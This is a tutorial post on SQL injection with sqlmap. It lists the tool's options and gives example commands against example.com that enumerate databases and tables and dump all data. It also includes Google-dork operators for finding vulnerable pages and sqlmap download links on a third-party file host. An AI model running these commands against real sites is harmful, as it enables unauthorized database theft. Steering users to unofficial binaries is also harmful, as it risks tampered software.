Mastering SQL Injection with Sqlmap: A Hands‑On Exploitation Guide

Preface

Hello, I am Huang Wei. Many people have heard of SQL injection but do not fully understand it. This article explains what SQL injection is and how it works.

1. Overview of SQL Injection

SQL injection involves inserting malicious SQL commands into web forms or URL query strings to manipulate the backend database. Common approaches include guessing table names and bypassing filters using logical operators such as AND or OR.

2. Sqlmap Injection Methods

Sqlmap supports five injection modes:

Time‑based blind injection

Boolean‑based blind injection

Error‑based injection

Union‑based injection

Stacked query injection

3. Databases Supported by Sqlmap

Sqlmap works with most mainstream databases, including MySQL, MongoDB, Oracle, SQL Server, Access, SQLite, and others.

4. Installing Sqlmap

You can either install the Python version of Sqlmap or download a pre‑compiled binary. Below are the download links:

Sqlmap.py :https://u062.com/file/7715018-453776489
Sqlmap.exe: https://u062.com/file/7715018-453776892

5. Basic Commands

Running sqlmap -h displays all available commands. The -hh option provides a more detailed help list. Screenshots illustrate the help output.

6. Options Overview

Key option groups are listed below (excerpt):

Options:
  --version          Show version and exit
  -h, --help          Show help and exit
  -v VERBOSE          Verbosity level 0‑6 (default 1)

Target:
  -u URL, --url=URL   Target URL
  -d DIRECT           Direct DB connection
  -l LIST             Parse URLs from Burp/WebScarab logs
  -m BULKFILE         Scan multiple targets from file
  -r REQUESTFILE      Load HTTP request from file
  -g GOOGLEDORK       Use Google dork results as targets
  -c CONFIGFILE       Load options from INI file

Request:
  --data=DATA        POST data string
  --cookie=COOKIE    HTTP Cookie header
  --user-agent=AGENT Specify User‑Agent header
  --random-agent     Use random User‑Agent
  --proxy=PROXY      Use HTTP proxy
  --delay=DELAY      Delay between requests (seconds)
  --timeout=TIMEOUT  Connection timeout (default 30s)

Optimization:
  -o                 Enable all optimizations
  --predict-output   Predict common query output
  --keep-alive       Use persistent HTTP(S) connections
  --threads=THREADS  Max concurrent requests (default 1)

Injection:
  -p TESTPARAMETER   Test specific parameter
  --dbms=DBMS        Force backend DBMS type
  --os=OS            Force backend OS type
  --technique=TECH   SQL injection techniques (default BEUST)

Detection:
  --level=LEVEL      Test level 1‑5 (default 1)
  --risk=RISK        Risk level 0‑3 (default 1)
  --string=STRING    True when string matches
  --not-string=...   False when string matches
  --regexp=REGEXP    Regex match on response

Enumeration:
  -b, --banner       Retrieve DBMS banner
  --current-user     Current DBMS user
  --current-db       Current database
  --users            Enumerate DBMS users
  --passwords        Enumerate password hashes
  --privileges       Enumerate user privileges
  --dbs              Enumerate databases
  --tables           Enumerate tables
  --columns          Enumerate columns
  --dump             Dump table data

Miscellaneous:
  --batch            Never ask for user input
  --tor              Use Tor network
  --wizard           Simple wizard for beginners

7. Practical Examples

1. Checking a URL for injection:

sqlmap -u http://www.example.com/forum.php?id=1 -dbms mysql -v 3 --dbs

2. Building a POST request:

sqlmap -u http://www.example.com/login.php --data="user=admin&pass=123" -dbms mysql -v 3

3. Retrieving database and table information:

sqlmap -u http://www.example.com/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP
sqlmap -u http://www.example.com/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP

4. Dumping all data from a database:

sqlmap -u http://www.example.com/forum.php?id=1 -D "VIP" --dump-all

5. Brute‑forcing usernames and passwords using a test web server (illustrated with screenshots).

8. Google Dork Syntax

Common Google dork operators such as intitle:, inurl:, intext:, filetype:, site:, and others can be used to discover vulnerable pages and hidden resources.

intitle:   Search page titles for keywords
inurl:     Search URLs for keywords
intext:    Search page content for keywords
filetype:  Search for specific file extensions
site:      Restrict search to a specific domain
link:      Find pages linking to a URL
""        Exact phrase match
+          Must include term
-          Exclude term
*          Wildcard
|          OR operator

Conclusion

SQL injection is a powerful technique that can be discovered relatively easily, while defending against it is straightforward. This guide provides a concise overview to help readers understand the basics, improve their testing skills, and raise awareness of web security.